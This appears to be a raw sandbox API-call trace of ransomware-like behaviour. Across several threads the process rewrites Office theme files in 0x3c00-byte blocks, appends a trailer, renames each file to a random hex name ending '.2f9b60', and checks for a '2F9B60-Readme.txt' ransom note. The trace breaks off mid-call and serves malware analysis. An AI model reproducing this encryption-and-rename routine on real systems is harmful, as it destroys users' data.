RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x66471571 [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x7bfa572a [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x1fdf8381 [0110.616] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.616] ReadFile (in: hFile=0x1574, lpBuffer=0x41e5f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2402f6a0, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesRead=0x2402f6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.629] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0110.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b20 [0110.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7b20) returned 1 [0110.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e6e130 [0110.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b20 [0110.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0110.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a77f0) returned 1 [0110.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.630] WriteFile (in: hFile=0x1574, lpBuffer=0x41e6e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2402f6a0, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesWritten=0x2402f6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0110.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0110.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202a7640 [0110.634] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0110.634] WriteFile (in: hFile=0x1574, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2402f750, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x2402f750*=0x108, lpOverlapped=0x0) returned 1 [0110.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0110.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7460 [0110.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7460) returned 1 [0110.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0110.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7460 [0110.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7490 [0110.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7490) returned 1 [0110.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f070 [0110.637] sprintf (in: _Dest=0x1cd9f070, _Format="%c%c" | out: _Dest="14") returned 2 [0110.637] sprintf (in: _Dest=0x1cd9f072, _Format="%c%c" | out: _Dest="04") returned 2 [0110.637] sprintf (in: _Dest=0x1cd9f074, _Format="%c%c" | out: _Dest="03") returned 2 [0110.637] sprintf (in: _Dest=0x1cd9f076, _Format="%c%c" | out: _Dest="cf") returned 2 [0110.637] sprintf (in: _Dest=0x1cd9f078, _Format="%c%c" | out: _Dest="5a") returned 2 [0110.637] sprintf (in: _Dest=0x1cd9f07a, _Format="%c%c" | out: _Dest="53") returned 2 [0110.638] sprintf (in: _Dest=0x1cd9f07c, _Format="%c%c" | out: _Dest="f7") returned 2 [0110.638] sprintf (in: _Dest=0x1cd9f07e, _Format="%c%c" | out: _Dest="52") returned 2 [0110.638] sprintf (in: _Dest=0x1cd9f080, _Format="%c%c" | out: _Dest="8f") returned 2 [0110.638] sprintf (in: _Dest=0x1cd9f082, _Format="%c%c" | out: _Dest="1e") returned 2 [0110.638] sprintf (in: _Dest=0x1cd9f084, _Format="%c%c" | out: _Dest="b5") returned 2 [0110.638] sprintf (in: _Dest=0x1cd9f086, _Format="%c%c" | out: _Dest="27") returned 2 [0110.638] sprintf (in: _Dest=0x1cd9f088, _Format="%c%c" | out: _Dest="85") returned 2 [0110.638] sprintf (in: _Dest=0x1cd9f08a, _Format="%c%c" | out: _Dest="e7") returned 2 [0110.638] sprintf (in: _Dest=0x1cd9f08c, _Format="%c%c" | out: _Dest="3e") returned 2 [0110.638] sprintf (in: _Dest=0x1cd9f08e, _Format="%c%c" | out: _Dest="25") returned 2 [0110.638] sprintf (in: _Dest=0x1cd9f090, _Format="%c%c" | out: _Dest="88") returned 2 [0110.638] sprintf (in: _Dest=0x1cd9f092, _Format="%c%c" | out: _Dest="94") returned 2 [0110.638] sprintf (in: _Dest=0x1cd9f094, _Format="%c%c" | out: _Dest="0f") returned 2 [0110.638] sprintf (in: _Dest=0x1cd9f096, _Format="%c%c" | out: _Dest="86") returned 2 [0110.638] sprintf (in: _Dest=0x1cd9f098, _Format="%c%c" | out: _Dest="0d") returned 2 [0110.638] sprintf (in: _Dest=0x1cd9f09a, _Format="%c%c" | out: _Dest="d0") returned 2 [0110.638] RtlInitAnsiString (in: DestinationString=0x2402f7c8, SourceString="140403cf5a53f7528f1eb52785e73e2588940f860dd0" | out: DestinationString="140403cf5a53f7528f1eb52785e73e2588940f860dd0") [0110.638] RtlAnsiStringToUnicodeString (in: DestinationString=0x2402f798, SourceString="140403cf5a53f7528f1eb52785e73e2588940f860dd0", AllocateDestinationString=1 | out: DestinationString="140403cf5a53f7528f1eb52785e73e2588940f860dd0") returned 0x0 [0110.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced97f0 [0110.638] wcscat (in: _Dest=0x20279a30, _Source="140403cf5a5" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\140403cf5a5") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\140403cf5a5" [0110.638] wcscat (in: _Dest=0x20279a30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\140403cf5a5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\140403cf5a5.2f9b60" [0110.638] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\140403cf5a5.2f9b60", NtPathName=0x2402f770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\140403cf5a5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0110.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776af0 [0110.639] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x2402f810, FileInformation=0x1b776af0, Length=0xca, FileInformationClass=0xa) returned 0x0 [0110.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0110.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0110.640] NtQueryInformationFile (in: FileHandle=0x1574, IoStatusBlock=0x2402f7d8, FileInformation=0x2402f7e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2402f7d8, FileInformation=0x2402f7e8) returned 0x0 [0110.641] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x2402f7d8, FileInformation=0x2402f7e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced97f0) returned 1 [0110.643] FlushFileBuffers (hFile=0x1574) returned 1 [0110.651] CloseHandle (hObject=0x1574) returned 1 [0110.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0110.652] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0110.652] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0110.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0110.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64630) returned 1 Thread: id = 1057 os_tid = 0x172c [0110.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx")) returned 0x20 [0110.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx", dwFileAttributes=0x20) returned 1 [0110.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15e0 [0110.598] GetFileSizeEx (in: hFile=0x15e0, lpFileSize=0x3326fba0 | out: lpFileSize=0x3326fba0*=26989) returned 1 [0110.598] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x6969, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.598] ReadFile (in: hFile=0x15e0, lpBuffer=0x3326fb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3326fb68, lpOverlapped=0x0 | out: lpBuffer=0x3326fb20*, lpNumberOfBytesRead=0x3326fb68*=0x4, lpOverlapped=0x0) returned 1 [0110.617] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b20 [0110.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76d0 [0110.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0110.617] NtQuerySystemTime (in: CurrentTime=0x3326fa60 | out: CurrentTime=0x3326fa60*=132462177160870000) returned 0x0 [0110.617] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x229d4b10 [0110.617] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x1d0835cd [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0xe823d2c [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x652c5b83 [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x3371d46f [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x7a159de0 [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x255ced93 [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x25ff8262 [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x66f72c31 [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x206be8b [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x1c10e0fa [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x57013799 [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x53428136 [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x3429ef32 [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x37c07fd1 [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x201c4bfd [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x1fdf8381 [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x13bb1c41 [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x4f130493 [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x3e711e59 [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x111689aa [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x1c10e0fa [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x14c67596 [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x1640bc1 [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x440154b [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x70a2ec39 [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x55d9767a [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x651f2303 [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x550d2e38 [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x19fb50b1 [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x602b8d26 [0110.618] RtlRandomEx (in: Seed=0x3326fa50 | out: Seed=0x3326fa50) returned 0x155c1ef8 [0110.628] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.628] ReadFile (in: hFile=0x15e0, lpBuffer=0x41e84990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3326fac0, lpOverlapped=0x0 | out: lpBuffer=0x41e84990*, lpNumberOfBytesRead=0x3326fac0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.631] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0110.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0110.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a77f0) returned 1 [0110.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e80d80 [0110.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0110.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7640 [0110.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7640) returned 1 [0110.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.632] WriteFile (in: hFile=0x15e0, lpBuffer=0x41e80d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3326fac0, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesWritten=0x3326fac0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e80d80) returned 1 [0110.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e84990) returned 1 [0110.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202a75b0 [0110.635] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0110.635] WriteFile (in: hFile=0x15e0, lpBuffer=0x169910*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3326fb70, lpOverlapped=0x0 | out: lpBuffer=0x169910*, lpNumberOfBytesWritten=0x3326fb70*=0x108, lpOverlapped=0x0) returned 1 [0110.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0110.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0110.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a76a0) returned 1 [0110.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0110.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0110.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a30 [0110.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7a30) returned 1 [0110.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f070 [0110.646] sprintf (in: _Dest=0x1cd9f070, _Format="%c%c" | out: _Dest="1a") returned 2 [0110.646] sprintf (in: _Dest=0x1cd9f072, _Format="%c%c" | out: _Dest="6c") returned 2 [0110.646] sprintf (in: _Dest=0x1cd9f074, _Format="%c%c" | out: _Dest="34") returned 2 [0110.646] sprintf (in: _Dest=0x1cd9f076, _Format="%c%c" | out: _Dest="38") returned 2 [0110.646] sprintf (in: _Dest=0x1cd9f078, _Format="%c%c" | out: _Dest="37") returned 2 [0110.646] sprintf (in: _Dest=0x1cd9f07a, _Format="%c%c" | out: _Dest="af") returned 2 [0110.646] sprintf (in: _Dest=0x1cd9f07c, _Format="%c%c" | out: _Dest="88") returned 2 [0110.646] sprintf (in: _Dest=0x1cd9f07e, _Format="%c%c" | out: _Dest="1c") returned 2 [0110.646] sprintf (in: _Dest=0x1cd9f080, _Format="%c%c" | out: _Dest="b0") returned 2 [0110.646] sprintf (in: _Dest=0x1cd9f082, _Format="%c%c" | out: _Dest="26") returned 2 [0110.646] sprintf (in: _Dest=0x1cd9f084, _Format="%c%c" | out: _Dest="6c") returned 2 [0110.646] sprintf (in: _Dest=0x1cd9f086, _Format="%c%c" | out: _Dest="bf") returned 2 [0110.646] sprintf (in: _Dest=0x1cd9f088, _Format="%c%c" | out: _Dest="97") returned 2 [0110.646] sprintf (in: _Dest=0x1cd9f08a, _Format="%c%c" | out: _Dest="a8") returned 2 [0110.646] sprintf (in: _Dest=0x1cd9f08c, _Format="%c%c" | out: _Dest="0e") returned 2 [0110.646] sprintf (in: _Dest=0x1cd9f08e, _Format="%c%c" | out: _Dest="50") returned 2 [0110.646] sprintf (in: _Dest=0x1cd9f090, _Format="%c%c" | out: _Dest="e1") returned 2 [0110.647] sprintf (in: _Dest=0x1cd9f092, _Format="%c%c" | out: _Dest="99") returned 2 [0110.647] sprintf (in: _Dest=0x1cd9f094, _Format="%c%c" | out: _Dest="0a") returned 2 [0110.647] sprintf (in: _Dest=0x1cd9f096, _Format="%c%c" | out: _Dest="44") returned 2 [0110.647] sprintf (in: _Dest=0x1cd9f098, _Format="%c%c" | out: _Dest="38") returned 2 [0110.647] sprintf (in: _Dest=0x1cd9f09a, _Format="%c%c" | out: _Dest="c5") returned 2 [0110.647] RtlInitAnsiString (in: DestinationString=0x3326fbe8, SourceString="1a6c343837af881cb0266cbf97a80e50e1990a4438c5" | out: DestinationString="1a6c343837af881cb0266cbf97a80e50e1990a4438c5") [0110.647] RtlAnsiStringToUnicodeString (in: DestinationString=0x3326fbb8, SourceString="1a6c343837af881cb0266cbf97a80e50e1990a4438c5", AllocateDestinationString=1 | out: DestinationString="1a6c343837af881cb0266cbf97a80e50e1990a4438c5") returned 0x0 [0110.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced9400 [0110.647] wcscat (in: _Dest=0x20279a30, _Source="1a6c343837a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\1a6c343837a") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\1a6c343837a" [0110.647] wcscat (in: _Dest=0x20279a30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\1a6c343837a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\1a6c343837a.2f9b60" [0110.647] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\1a6c343837a.2f9b60", NtPathName=0x3326fb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\1a6c343837a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0110.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776af0 [0110.647] NtSetInformationFile (FileHandle=0x15e0, IoStatusBlock=0x3326fc30, FileInformation=0x1b776af0, Length=0xca, FileInformationClass=0xa) returned 0x0 [0110.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0110.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0110.649] NtQueryInformationFile (in: FileHandle=0x15e0, IoStatusBlock=0x3326fbf8, FileInformation=0x3326fc08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3326fbf8, FileInformation=0x3326fc08) returned 0x0 [0110.649] NtSetInformationFile (FileHandle=0x15e0, IoStatusBlock=0x3326fbf8, FileInformation=0x3326fc08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9400) returned 1 [0110.651] FlushFileBuffers (hFile=0x15e0) returned 1 [0110.655] CloseHandle (hObject=0x15e0) returned 1 [0110.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0110.656] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0110.656] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0110.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0110.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd646e0) returned 1 Thread: id = 1058 os_tid = 0x1730 [0110.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx")) returned 0x20 [0110.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx", dwFileAttributes=0x20) returned 1 [0110.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15e0 [0110.669] GetFileSizeEx (in: hFile=0x15e0, lpFileSize=0x3337f760 | out: lpFileSize=0x3337f760*=618119) returned 1 [0110.669] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x96e83, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.669] ReadFile (in: hFile=0x15e0, lpBuffer=0x3337f6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3337f728, lpOverlapped=0x0 | out: lpBuffer=0x3337f6e0*, lpNumberOfBytesRead=0x3337f728*=0x4, lpOverlapped=0x0) returned 1 [0110.673] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b80 [0110.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b50 [0110.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7670 [0110.674] NtQuerySystemTime (in: CurrentTime=0x3337f620 | out: CurrentTime=0x3337f620*=132462177161494000) returned 0x0 [0110.674] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x15096194 [0110.674] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x78888553 [0110.674] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x72417ab4 [0110.674] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x7ca4f2ed [0110.674] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x550d2e38 [0110.674] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x76b5ab23 [0110.674] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x23877689 [0110.674] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) returned 0x6413df97 [0110.674] RtlRandomEx (in: Seed=0x3337f610 | out: Seed=0x3337f610) 